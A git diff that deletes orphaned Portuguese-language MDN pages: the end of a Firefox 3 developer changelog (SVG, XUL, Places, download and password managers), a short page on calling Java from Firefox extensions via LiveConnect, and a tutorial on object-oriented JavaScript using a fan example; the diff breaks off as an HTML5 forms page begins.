-<ul> <li>Suporte ao elemento <code>foreignObject</code> ({{ Bug(326966) }}, <a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">spec</a>, <a class="external" href="http://weblogs.mozillazine.org/roc/archives/2006/06/the_future_is_now.html">veja também</a>). <em>mfinkle</em></li> <li>Suporte ao elemento <code>pattern</code> (<a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">spec</a>)</li> <li>Suporte ao elemento <code>mask</code> (<a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">spec</a>)</li> <li>Suporte a filtros SVG (<a class="external" href="http://www.w3.org/TR/SVG11/filters.html">spec</a>) <ul> <li><code>filter</code></li> <li><code>feBlend</code></li> <li><code>feComponentTransfer</code>, <code>feFuncR</code>, <code>feFuncG</code>, <code>feFuncB</code>, <code>feFuncA</code></li> <li><code>feComposite</code></li> <li><code>feFlood</code></li> <li><code>feGaussianBlur</code></li> <li><code>feMerge</code>, <code>feMergeNode</code></li> <li><code>feMorphology</code></li> <li><code>feOffset</code></li> <li><code>feTurbulence</code></li> </ul> </li> <li>O elemento <code>a</code> tornou-se <code>nsSVGAElement</code> em vez de XBL binding.</li> <li>Várias funções do DOM para textos foram implementadas.</li>
-</ul>
-<h3 id="Para_desenvolvedores_de_extens.C3.B5es_e_XUL" name="Para_desenvolvedores_de_extens.C3.B5es_e_XUL">Para desenvolvedores de extensões e XUL</h3>
-<h4 id="Novos_elementos_XUL" name="Novos_elementos_XUL">Novos elementos XUL</h4>
-<p><em>Mark Finkle (mfinkle in #devmo) dirige a documentação de novos elementos XUL.</em></p>
-<p>O XUL no Firefox 3 suporta um número de novos elementos:</p>
-<ul> <li>O novo elemento <code><a href="/pt/XUL/scale" title="pt/XUL/scale">&lt;scale&gt;</a></code> permite a criação de escalas móveis que deixam o usuário selecionar qualquer valor em um alcance especificado. Esta bugiganga pode ser usada tipicamente, por exemplo, para criar um controle de volume.</li> <li>Um novo valor, <code>number</code>, para o atributo de caixas de texto <code>type</code> cria uma caixa de texto em que somente podem entrar números. Em adição, botões de flecha aparecem de um lado que pode ser usado como passo através de valores. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Para mais informações sobre caixas de texto numéricas') }} ({{ Bug(345510) }})</li> <li>Um elemento <code>&lt;dropmarker&gt;</code> que foi adicionado é útil na criação de bugigangas como menus usando XBL bindings. ({{ Bug(348614) }})</li> <li>Um elemento <code>&lt;spinbuttons&gt;</code> que foi adicionado pode ser usado na criação de bugigangas usando XBL bindings. ({{ Bug(155053) }})</li> <li>Duas bugigangas, <code>&lt;datepicker&gt;</code> e <code>&lt;timepicker&gt;</code>, podem ser usadas para permitir a entrada de datas e tempos. O datepicker está disponível em um número de estilos por configuração do atributo <code>type</code>, para permitir a entrada com caixas de texto ou uma grade de calendário. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Para mais informações sobre datepicker') }} <a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Referência do Datepicker</a> <a href="/pt/XUL/timepicker" title="pt/XUL/timepicker">Referência do Timepicker</a></li>
-</ul>
-<h4 id="Melhorias_da_.C3.A1rvore" name="Melhorias_da_.C3.A1rvore">Melhorias da árvore</h4>
-<ul> <li>Árvores agora suportam rolagem horizontal. Uma barra de rolagem horizontal aparecerá se as colunas não couberem na largura disponível. Isto ocorrerá se as colunas tiverem larguras especificadas maiores do que o espaço disponível. ({{ Bug(212789) }})</li> <li>Uma nova seleção de estilos permite que as células sejam selecionadas individualmente, em vez de fileiras inteiras. Isto pode ser usado configurando-se o atributo <code>seltype</code> em uma árvore de <code>'cell'</code>. ({{ Bug(296040) }})</li> <li>Árvores agora suportam edição de células individuais. Um duplo-clique em uma célula editável exibirá um campo de texto em que o usuário pode editar o conteúdo de uma célula. {{ interwiki('wikimo', 'XUL:Tree', 'Mais detalhes') }} ({{ Bug(201499) }})</li> <li>Os elementos <code>&lt;treecol&gt;</code> agora suportam um atributo <code>overflow</code> que pode ser configurado verdadeiro para permitir o texto de células dentro dessa coluna para expandir para expandir à células vizinhas vazias se o texto for muito grande para caber dentro de uma célula simples.</li>
-</ul>
-<h4 id="Melhorias_do_menu" name="Melhorias_do_menu">Melhorias do menu</h4>
-<p>Sérias melhorias nos elementos <code>&lt;menu&gt;</code> e <code>&lt;menulist&gt;</code> foram feitas ({{ Bug(333023) }}):</p>
-<ul> <li>O atributo <code>image</code> é usado consistentemente para configurar imagens</li> <li>Listas de menu despendem o evento selecionado quando selecionando um item</li> <li>As propriedades <code>inputField</code> e <code>editable</code> foram adicionadas a lista de menu</li> <li>Os elementos <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> e <code>&lt;menuseparator&gt;</code> agora têm uma propriedade <code>selected</code> somente leitura que recupera se o item é selecionado em uma &lt;menulist&gt;</li> <li>Os elementos <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> e <code>&lt;menuseparator&gt;</code> agora têm uma propriedade <code>control</code> somente leitura que retorna incluindo &lt;menulist&gt;</li> <li>Os elementos <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> e <code>&lt;menuseparator&gt;</code> agora suportam as propriedades <code>accessKey</code>, <code>disabled</code>, <code>crop</code>, <code>image</code> e <code>label</code> que configuram o atributo correspondente.</li> <li>O elemento <code>&lt;menu&gt;</code> agora tem métodos para anexar, inserir e remover itens do menu. ({{ Bug(372552) }})</li> <li>Suporta uma propriedade <code>editor</code> para pegar um <a href="/pt/NsIEditor" title="pt/NsIEditor">nsIEditor</a> interno para o campo de texto de uma lista de menu editável. ({{ Bug(312867) }})</li> <li>Menus podem agora ser feitos trasnlúcidos em plataformas que suportam isso. ({{ Bug(70798) }})</li>
-</ul>
-<h4 id="Melhorias_da_caixa_de_texto" name="Melhorias_da_caixa_de_texto">Melhorias da caixa de texto</h4>
-<ul> <li>Configurando o atributo <code>spellcheck</code> para <code>'true'</code> em uma caixa de texto habilitará a checagem gramatical em linha para esta caixa de texto. ({{ Bug(346787) }})</li> <li>O <code>&lt;textbox&gt;</code> agora tem um método <code>reset()</code> para restaurar o valor da caixa de texto para o valor padrão. A propriedade <code>defaultValue</code> pode ser usada para reaver e modificar o valor pardrão da caixa de texto. ({{ Bug(312867) }})</li> <li>Suporta uma propriedade <code>editor</code> para pegar o interno <a href="/pt/NsIEditor" title="pt/NsIEditor">nsIEditor</a> para um campo de texto. ({{ Bug(312867) }})</li> <li><code>texbox</code> agora suporta um atributo <code>newlines</code> que especifica como as quebras de linha em textos colados são manipuladas. ({{ Bug(253481) }}) Valores possíveis são: <ul> <li><code>pasteintact</code> - cola tudo como é</li> <li><code>pastetofirst</code> - (valor padrão) cola somente até a primeira quebra de linha</li> <li><code>replacewithspaces</code> - substitui as quebras de linha por espaços em branco</li> <li><code>replacewithcommas</code> - substitui as quebras de linha por vírgula</li> <li><code>strip</code> - tira todas as quebras de linha</li> <li><code>stripsurroundingwhitespace</code> - tira todas as quebras de linha e espaço em branco adjacente</li> </ul> </li>
-</ul>
-<h4 id="Melhorias_para_outros_elementos" name="Melhorias_para_outros_elementos">Melhorias para outros elementos</h4>
-<ul> <li>O atributo <code>type</code> em um <code>&lt;button&gt;</code> pode ser configurado para <code>'repeat'</code> para criar botões que têm seus comandos de eventos repetidos enquanto o botão do mouse estiver pressionado. ({{ Bug(331055) }})</li> <li>O atributo <code>buttondisabledaccept</code> pode agora ser usado no elemento <code>&lt;dialog&gt;</code> para botões de aceitação (OK) inicialmente habilitados. ({{ Bug(247849) }})</li> <li>O elemento <code>&lt;titlebar&gt;</code> agora suporta o atributo <code>allowevents</code> para permitir eventos passarem às crianças da barra de título. ({{ Bug(361425) }})</li> <li>O <code>&lt;splitter&gt;</code> agora suporta um valor adicional para o atributo <code>collapse</code> de <code>'both'</code> que indica que o divisor pode derrubar elementos em ambos os lados disso quando arrastado. O atributo <code>substate</code> configurará qualquer antes ou depois quando está derrubado. ({{ Bug(337955) }})</li> <li>O elemento <code>&lt;richlistbox&gt;</code> agora suporta múltipla seleção. Configue o atributo <code>seltype</code> para <code>'multiple'</code> para habilitar isto.</li>
-</ul>
-<h4 id="Mudan.C3.A7as_na_disposi.C3.A7.C3.A3o" name="Mudan.C3.A7as_na_disposi.C3.A7.C3.A3o">Mudanças na disposição</h4>
-<p><em>A documentação de modelos está sendo dirigida por Mark Finkle (mfinkle em #devmo).</em></p>
-<p>Os modelos tiveram significativas melhoras no Firefox 3. A melhora da chave permite o uso de processadores customizados inquirir para manipular outros tipos de códigos de dados adicionalmente ao RDF. Uma nova sintaxe de inquisição torna isto possível. Uma descrição completa das novas características disponíveis para modelos {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponível') }}. ({{ Bug(285631) }})</p>
-<p>Outras melhoras nos modelos:</p>
-<ul> <li>Condições relacionais foram adicionadas para permitir uma maior precisão no controle sobre que resultados formam uma regra. Estas permissões, por exemplo, tornam os resultados que começam ou terminam com certas <em>strings</em>, ou que estão antes ou depois de outros valores.</li> <li>Uma bandeira 'não recurso' foi adicionada para prevenir recursos que aconteçam somente em um nível de resultados que são gerados.</li> <li>APIs foram adicionadas ao construtor de modelos para recuperar um objeto resultado representando um item de saída.</li> <li>O seviço de tipos XUL está mais robusto e classifica ambos conteúdo e não conteúdo em melhores árvores. Isto também permite a classificação de não modelos que constroem conteúdo. ({{ Bug(335122) }})</li>
-</ul>
-<h4 id="Servi.C3.A7o_inativo" name="Servi.C3.A7o_inativo">Serviço inativo</h4>
-<p>Um novo serviço foi adicionado para determinar quanto tempo o usuário está inativo (que é, desde a última vez que ele pressionou uma tecla ou moveu seu mouse). Este serviço implementa a interface <code><a href="/pt/nsIIdleService" title="pt/nsIIdleService">nsIIdleService</a></code>.</p>
-<h4 id="Erros_not.C3.A1veis_reparados" name="Erros_not.C3.A1veis_reparados">Erros notáveis reparados</h4>
-<ul> <li>Se um erro ocorrer analisando graficamente uma sobreposição, a sobreposição não é aplicada. Erros de análise gramatical são registrados no console de erros. ({{ Bug(355755) }})</li> <li>Erro fixado onde os elementos de <code>&lt;menupopup&gt;</code> podem ser colocados dentro de um <em>binding</em> quando anexado a um elemento menu ou parecido com menu. ({{ Bug(345896) }})</li> <li>A propriedade do botão <code>dlgType</code> agora trabalha adequadamente. ({{ Bug(308591) }})</li> <li>O argumento <code>canBubble</code> para <a href="/pt/DOM/event.initEvent" title="pt/DOM/event.initEvent">event.initEvent</a> agora trabalha adequadamente então estes eventos podem ser usados que não daram problema. ({{ Bug(330190) }})</li> <li>O evento <code>DOMAttrModified</code> agora funciona adequadamente com atributos de espaçamento nomeados manualmente. ({{ Bug(247095) }})</li> <li>Instruções de processamento XML, como em <code>&lt;?xml-stylesheet ?&gt;</code>, foram agora adicionados a um documento XUL no DOM. Isto significa que <code>document.firstChild</code> não é garantido como o elemento raiz, em vez disso use <code>document.documentElement</code>. Também, as instruções de processamento <code>&lt;?xml-stylesheet ?&gt;</code> e <code>&lt;?xul-overlay ?&gt;</code> agora não tem nenhum efeito fora do documento <em>prolog</em>. ({{ Bug(319654) }})</li> <li>As funções de <code>getElementsByAttributeNS</code> foram adicionadas aos elementos XUL e documentos. ({{ Bug(239976) }})</li> <li>Ouvidores de eventos são mantidos quando movendo ou removendo um elemento de um documento XUL. ({{ Bug(286619) }})</li> <li>Eventos de mutação são agora voltados para documentos não-exibição. ({{ Bug(201238) }})</li> <li>Várias edições com elementos desenhados em ordem errada foram arrumados. ({{ Bug(317375) }})</li>
-</ul>
-<h4 id="Places" name="Places"><a class="internal" href="/en/Places" title="En/Places">Places</a></h4>
-<ul> <li>Comparação da API de Histórico e Favoritos com Fx2</li> <li>Anotações</li> <li>Inquisições sobre Histórico, Favoritos e Anotações</li> <li>Eventos de Histórico e Favoritos</li> <li>Sincronização</li> <li>Lugares das Bugigangas</li>
-</ul>
-<h4 id="Gerenciador_de_download" name="Gerenciador_de_download">Gerenciador de download</h4>
-<ul> <li>O <em>Back-end</em> convertido de RDF para mozStorage (resultou em uma mudança de API para nsIDownloadManager e nsIDownload). ({{ Bug(380250) }})</li> <li>Gerenciador de download pode agora suportar mais do que uma lista de progresso. ({{ Bug(289540) }})</li> <li>Veja <a class="external" href="http://shawnwilsher.com/archives/100">esta página</a> para informações adicionais.</li>
-</ul>
-<h4 id="Gerenciador_de_senha" name="Gerenciador_de_senha">Gerenciador de senha</h4>
-<ul> <li>Reescrito, mudanças na API (veja <a href="/pt/Using_nsILoginManager" title="pt/Using_nsILoginManager">Using_nsILoginManager</a> para exemplos do uso de uma nova API).</li>
-</ul>
-<h4 id="Coletor_do_ciclo_de_XPCOM" name="Coletor_do_ciclo_de_XPCOM">Coletor do ciclo de XPCOM</h4>
-<ul> <li>Veja {{ interwiki('wikimo', 'Interfacing_with_the_XPCOM_cycle_collector', 'Interfacing with the XPCOM cycle collector') }}</li> <li>Veja {{ interwiki('wikimo', 'Global_nsICycleCollector_service', 'Global nsICycleCollector service') }}</li> <li>{{ Bug(333078) }}</li>
-</ul>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-<ul> <li><a class="external" href="http://www.squarefree.com/burningedge/releases/trunk-for-firefox-3.html">Uma lista mais detalhada de mudanças no Firefox 3 em squarefree.com</a></li> <li>{{ interwiki('wikimo', 'Firefox3/Schedule', 'Firefox 3 schedule') }}</li>
-</ul>
-<p>*<span class="comment"><a href="/en/Updating_extensions_for_Firefox_3">Updating extensions for Firefox 3</a></span></p>
-<ul> <li><a href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox_2_para_desenvolvedores">Firefox 2 para desenvolvedores</a></li> <li><a href="/pt/Firefox_1.5_para_Desenvolvedores" title="pt/Firefox_1.5_para_Desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
-<p>{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "ko": "ko/Firefox_3_for_developers" } ) }}</p>
diff --git a/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html b/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html
deleted file mode 100644
index ddf6752a3a..0000000000
--- a/files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Java em Extensões do Firefox
-slug: orphaned/Java_em_Extensões_do_Firefox
-tags:
- - Extensões
- - Java
- - Todas_as_Categorias
-original_slug: Java_em_Extensões_do_Firefox
----
-<p>Se houver a necessidade de chamar código de Java dentro duma <a href="pt/Extens%c3%a3o">extensão</a> do Firefox, o <a class="external" href="http://en.wikipedia.org/wiki/LiveConnect">LiveConnect</a> poderá ser útil. O LiveConnect dá ao código <a href="pt/JavaScript">JavaScript</a> da sua extensão (ligado ou contido no seu código XUL) acesso a dois objectos: <code>java</code> e <code>Packages</code>. Estes dois objectos tornam possível o uso das classes padrão do JDK. Por exemplo:</p>
-
-<pre class="eval">var aJavaList = new java.util.LinkedList();
-</pre>
-
-<p>Se quiser carregar os seus próprios JARs, então pode criar a sua classe carregadora Java. Por exemplo:</p>
-
-<pre class="eval">var cl = new java.net.URLClassLoader(
- [ new java.net.URL('<a class="external" href="http://foo.net/bar.jar'" rel="freelink">http://foo.net/bar.jar'</a>) ]
-);
-
-var aClass = java.lang.Class.forName("org.mozilla.developer.HelloWorld", true, cl);
-var aStaticMethod = aClass.getMethod("getGreeting", []);
-var greeting = aStaticMethod.invoke(null, []);
-alert(greeting);
-</pre>
-
-<p>Esta técnica funciona apenas em código JavaScript ligado dentro de ou contido em ficheiros XUL. Se quiser chamar código Java de dentro de código JavaScript que implementa componentes XPCOM, neste momento só o poderá fazer recorrendo a outra outra técnica (ver <a class="external" href="http://simile.mit.edu/java-firefox-extension/">Java Firefox Extension</a>). Uma boa razão para chamar Java de dentro de um componente XPCOM em vez de XUL é para manter um singleton (tipo de objecto que força a existência de apenas um objecto duma classe )através todas as janelas do Firefox. Se chamar Java pelo XUL então cada janela do Firefox possuirá a sua própria classe e, por consequência, o seu singleton.</p>
diff --git a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html
deleted file mode 100644
index e61a2940cf..0000000000
--- a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html
+++ /dev/null
@@ -1,229 +0,0 @@
----
-title: Javascript orientado a objetos
-slug: orphaned/Javascript_orientado_a_objetos
-tags:
- - JavaScript
- - OOP
- - Todas_as_Categorias
-original_slug: Javascript_orientado_a_objetos
----
-<p>Para um melhor entendimento deste artigo, é necessário algum conhecimento sobre programação orientada a objetos, existem vários artigos na web e bons livros dedicados ao assunto. Tomemos como exemplo de objeto, um ventilador. Ao olharmos para este objeto, podemos identificá-lo dentre outros eletrodomésticos pelas suas características. Outros ventiladores podem apresentar características idênticas, porém são objetos distintos. Um ventilador pode estar desligado ou ligado em algumas velocidades. Detalhes de sua estrutura ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso do mesmo.</p>
-
-<p>Javascript difere-se de linguagens clássicas orientadas a objeto como Java e C++ principalmente por não possuir uma definição formal de classe. Entretanto possui seu próprio tipo de herança baseada em protótipo e faz uso constante de objetos baseando-se nesse tipo de herança.</p>
-
-<h3 id="Fun.C3.A7.C3.A3o_construtora_e_propriedades_.2F_Classe_e_atributos" name="Fun.C3.A7.C3.A3o_construtora_e_propriedades_.2F_Classe_e_atributos">Função construtora e propriedades / Classe e atributos</h3>
-
-<p>Na programação orientada a objetos, é comum utilizar tipos de objetos (classes) personalizados. Essas classes<span id="jsoo1"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop1" title="pt/Javascript_orientado_a_objetos#jsoop1">1</a></sup></span> são úteis em diversos casos, por exemplo, se seu programa manipula várias formas geométricas, poderiam haver várias classes de objetos como quadrados, retângulos e círculos. Utilizando nosso exemplo, vamos criar a função construtora <strong>Ventilador</strong>, contendo as propriedades<span id="jsoo2"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop2" title="pt/Javascript_orientado_a_objetos#jsoop2">2</a></sup></span> <strong>velocidadeMaxima</strong> e <strong>ligado</strong>. Observe que a propriedade <strong>velocidadeMaxima</strong> recebe o valor do argumento <strong>velMax</strong>.</p>
-
-<pre class="brush: js">function Ventilador(velMax) {
- this.velocidadeMaxima = velMax;
- this.ligado = false;
-}
-</pre>
-
-<p>A palavra-chave <code>this</code> é responsável por iniciar o objeto adequadamente.</p>
-
-<h3 id="Inst.C3.A2ncias" name="Inst.C3.A2ncias">Instâncias</h3>
-
-<p>A criação de um objeto, ou seja, a instanciação de uma classe é realizada com uso do operador <code>new</code>. Após este operador vem o nome da função construtora, responsável pela inicialização do objeto.</p>
-
-<p>Alguns exemplos de instanciação:</p>
-
-<pre class="brush: js">var obj = new Object();
-var data = new Date();
-</pre>
-
-<p>Seguindo mais uma vez o exemplo do ventilador:</p>
-
-<pre class="brush: js">var ventilador1 = new Ventilador(3);
-</pre>
-
-<h3 id="Acessando_propriedades" name="Acessando_propriedades">Acessando propriedades</h3>
-
-<p>Para acessar as propriedades de um objeto você deve utilizar o operador “<code>.</code>” que deve ser precedido de uma referência ao objeto e sucedido pelo nome de uma de suas propriedades.</p>
-
-<pre class="brush: js">console.log(ventilador1.velocidadeMaxima); // Retorna 3
-</pre>
-
-<p>Diferente das linguagens clássicas orientadas a objeto, Javascript permite que propriedades sejam adicionadas a qualquer momento durante a execução do código. Por exemplo, vamos adicionar a propriedade <strong>cor</strong> a nosso ventilador:</p>
-
-<pre class="brush: js">ventilador1.cor = "branco";
-console.log(ventilador1.cor); // Retorna branco
-</pre>
-
-<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
-
-<p>Métodos em Javascript são funções invocadas por objetos. Para criar um novo método, basta atribuir uma função a um nome no objeto utilizando também o operador “<code>.</code>” como ocorre com as propriedades. O exemplo abaixo demonstra como definir o método <strong>ligar</strong> para a classe <strong>Ventilador</strong> utilizando a função <strong>liga</strong> através da propriedade <code>prototype</code>.</p>
-
-<pre class="brush: js">function liga() {
- this.ligado = true;
-}
-Ventilador.prototype.ligar = liga;
-</pre>
-
-<p>Caso queira adicionar um método a um objeto em particular, pode fazê-lo da seguinte maneira:</p>
-
-<pre class="brush: js">ventilador2 = new Ventilador(2);
-ventilador2.ligar = liga;
-</pre>
-
-<p>Outro uso possível é definir o método na estrutura da classe:</p>
-
-<pre class="brush: js">function liga() {
- this.ligado = true;
-}
-function Ventilador(velMax) {
- this.velocidadeMaxima = velMax;
- this.ligado = false;
- this.ligar = liga;
-}
-</pre>
-
-<p>A palavra chave <code>this</code> é substituída pelo objeto que invoca a função, essa é uma das principais vantagens da utilização de métodos. Exemplo de uso:</p>
-
-<pre class="brush: js">var ventilador = new Ventilador(3);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-</pre>
-
-<h3 id="Literais_de_objeto" name="Literais_de_objeto">Literais de objeto</h3>
-
-<p>Os literais de objeto<span id="jsoo3"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop3" title="pt/Javascript_orientado_a_objetos#jsoop3">3</a></sup></span> possibilitam criar e iniciar objetos de uma maneira diferente. A sintaxe é definida por uma lista de pares nome/valor separados por vírgulas entre um par de chaves. Cada par nome/valor é definido pelo nome da propriedade seguido de dois pontos e do valor correspondente.</p>
-
-<pre class="brush: js">var Livro = {
- titulo : "Os Três Mosqueteiros",
- autor : "Alexandre Dumas",
- capitulo1 : {
- titulo : "Os três presentes do sr. D'Artagnan pai",
- paginas : 11
- },
- capitulo2 : {
- titulo : "A antecâmara do sr. Tréville",
- paginas : 8
- }
-}
-
-// Acessando as propriedades:
-console.log(Livro.titulo + " - " + Livro.autor + "\\n\\t" +
- Livro.capitulo1.titulo + " - " +
- Livro.capitulo1.paginas + " páginas\\n\\t" +
- Livro.capitulo2.titulo + " - " +
- Livro.capitulo2.paginas + " páginas");
-</pre>
-
-<h3 id="Composi.C3.A7.C3.A3o" name="Composi.C3.A7.C3.A3o">Composição</h3>
-
-<p>A composição é um recurso utilizado para definir uma relação do tipo “tem um” (<em>“has a” relationship</em>), ou seja, um objeto que conta com outros objetos para formar sua estrutura. Por exemplo, um objeto do tipo Carro teria em sua estrutura objetos do tipo Roda, Volante, Banco. O exemplo anterior que descreve um livro, também demonstra o uso deste recurso.</p>
-
-<pre class="brush: js">function Livro(titulo, autor) {
- this.titulo = titulo;
- this.autor = autor;
-}
-
-function Capitulo(titulo, paginas) {
- this.titulo = titulo;
- this.paginas = paginas;
-}
-
-var livro = new Livro("Os Três Mosqueteiros", "Alexandre Dumas");
-var capitulo1 = new Capitulo("Os três presentes do sr. D'Artagnan pai", 11);
-var capitulo2 = new Capitulo("A antecâmara do sr. Tréville", 8);
-
-// Os objetos do tipo Capitulo fazem parte da composição do objeto livro
-livro.capitulo1 = capitulo1;
-livro.capitulo2 = capitulo2;
-
-// Acessando as propriedades:
-console.log(livro.titulo + " - " + livro.autor + "\\n\\t" +
- livro.capitulo1.titulo + " - " +
- livro.capitulo1.paginas + " páginas\\n\\t" +
- livro.capitulo2.titulo + " - " +
- livro.capitulo2.paginas + " páginas");
-</pre>
-
-<h3 id="Encapsulamento" name="Encapsulamento">Encapsulamento</h3>
-
-<p>Como exposto no início do artigo, em nosso exemplo que representa um ventilador, detalhes da estrutura de alguns objetos ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso dos mesmos. O encapsulamento tem por objetivo esconder essa informação que não precisa ser de conhecimento do utilizador da classe. Seu uso é uma boa prática quanto à manutenção da classe, pois podemos modificar a parte que é oculta ao utilizador sem alterar sua forma de implementação. Em Javascript podemos usar encapsulamento em propriedades de uma classe utilizando a palavra-chave <code>var</code> ao invés da palavra-chave <code>this</code> e do operador “<code>.</code>”.</p>
-
-<pre class="brush: js">function Ventilador(velMax) {
- var maximaPermitida = 5; // Uso de encapsulamento
- var velocidadePadrao = 3; // Variáveis privadas
- // Avalia se a velocidade máxima fornecida é maior que zero e menor que 5, o limite atual.
- if (velMax &gt; 0 &amp;&amp; velMax &lt;= maximaPermitida) {
- // Caso seja, atribui o valor fornecido à propriedade velocidadeMaxima
- this.velocidadeMaxima = velMax;
- } else {
- // Caso contrário, atribui o valor da variável velocidadePadrao à propriedade velocidadeMaxima
- this.velocidadeMaxima = velocidadePadrao;
- }
- this.ligado = false;
- this.ligar = function() { // O método ligar agora é definido
- this.ligado = true; // por um literal de função, o que
- } // melhora a legibilidade do código.
-}
-ventilador = new Ventilador(0); // Cria a instância fornecendo o valor 0 para o argumento velMax;
-console.log(ventilador.velocidadeMaxima); // Retorna 3 – o padrão
-console.log(ventilador.maximaPermitida); // Retorna undefined
-</pre>
-
-<h3 id="Heran.C3.A7a" name="Heran.C3.A7a">Herança</h3>
-
-<p>Em Javascript a herança ocorre por meio de objetos protótipos<span id="jsoo4"><sup><a href="/pt/Javascript_orientado_a_objetos#jsoop4" title="pt/Javascript_orientado_a_objetos#jsoop4">4</a></sup></span> e define uma relação do tipo “é um” (<em>“is a” relationship</em>). Cada objeto herda propriedades e métodos de seu objeto protótipo que é referenciado pela propriedade <code>prototype</code>. A classe <code>Object</code> é a superclasse de todas as classes definidas em Javascript, ou seja, todos os construtores criados herdam propriedades e métodos definidos no construtor <code>Object()</code> como por exemplo o método <code>toString()</code>, que assim como outros pode ser sobrescrito na subclasse. Em alguns casos, é conveniente utilizar este recurso em classes personalizadas, para isso basta definir um construtor como valor para a propriedade <code>prototype</code> da classe em questão. Como exemplo simplório, vamos definir a classe <strong>Eletrodomestico</strong> com a propriedade <strong>ligado</strong> e os métodos <strong>ligar</strong> e <strong>desligar</strong> comuns a todos os eletrodomésticos e então definir a classe <strong>Ventilador</strong> com propriedades e métodos peculiares.</p>
-
-<pre class="brush: js">function Eletrodomestico() {
- this.ligado = false;
- this.ligar = function() {
- this.ligado = true;
- }
- this.desligar = function() {
- this.ligado = false;
- }
-}
-
-function Ventilador(velMax) {
- var maximaPermitida = 5; // Uso de encapsulamento
- var velocidadePadrao = 3; // Variáveis privadas
- if (velMax &gt; 0 &amp;&amp; velMax &lt;= maximaPermitida) {
- this.velocidadeMaxima = velMax;
- } else {
- this.velocidadeMaxima = velocidadePadrao;
- }
-}
-
-Ventilador.prototype = new Eletrodomestico(); // Define o objeto protótipo
-ventilador = new Ventilador(4);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-</pre>
-
-<p>A utilização do objeto protótipo faz com que a propriedade <code>constructor</code> também seja herdada da superclasse, o que definiria a classe <strong>Eletrodomestico</strong> como valor da propriedade no objeto <strong>ventilador</strong>. Uma alternativa é definir de forma explícita a propriedade <code>constructor</code>:</p>
-
-<pre class="brush: js">Ventilador.prototype.constructor = Ventilador;
-</pre>
-
-<h3 id="Conclus.C3.A3o" name="Conclus.C3.A3o">Conclusão</h3>
-
-<p>Este artigo é apenas um incentivo à adoção dos conceitos da orientação a objetos em Javascript. Com o entendimento dos conceitos, os desenvolvedores podem corroborar as vantagens em códigos mais complexos, organizando o desenvolvimento e facilitando a manutenção dos scripts.</p>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p><span id="jsoop1"><a href="/pt/Javascript_orientado_a_objetos#jsoo1" title="pt/Javascript_orientado_a_objetos#jsoo1">1.</a></span> Termo usado informalmente no artigo.<br>
- <span id="jsoop2"><a href="/pt/Javascript_orientado_a_objetos#jsoo2" title="pt/Javascript_orientado_a_objetos#jsoo2">2.</a></span> Nas linguagens clássicas orientadas a objeto, geralmente usa-se o termo atributo ou campo.<br>
- <span id="jsoop3"><a href="/pt/Javascript_orientado_a_objetos#jsoo3" title="pt/Javascript_orientado_a_objetos#jsoo3">3.</a></span> Conhecidos também como inicializadores de objetos ou objetos literais, implementados a partir de Javascript 1.2.<br>
- <span id="jsoop4"><a href="/pt/Javascript_orientado_a_objetos#jsoo4" title="pt/Javascript_orientado_a_objetos#jsoo4">4.</a></span> Implementados a partir de Javascript 1.1.</p>
-
-<div class="originaldocinfo">
-<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h3>
-
-<ul>
- <li>Autor: <a href="/User:Leandro_Mercês_Xavier" title="User:Leandro_Mercês_Xavier">Leandro Mercês Xavier</a></li>
- <li>Última Atualização: 09/05/2007</li>
- <li>Informações sobre Copyright: Este artigo está disponível sob os termos da <a class="external" href="http://creativecommons.org/licenses/by-sa/2.5/br/">Creative Commons Atribuição-Compartilhamento pela mesma licença 2.5 Brasil</a></li>
-</ul>
-</div>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html
deleted file mode 100644
index 99e355fe11..0000000000
--- a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Forms no HTML5
-slug: orphaned/Learn/HTML/Forms/HTML5_updates
-translation_of: Learn/HTML/Forms/HTML5_updates
-original_slug: Web/HTML/HTML5/Forms_no_HTML5
----
-<p>{{ gecko_minversion_header("2") }}</p>
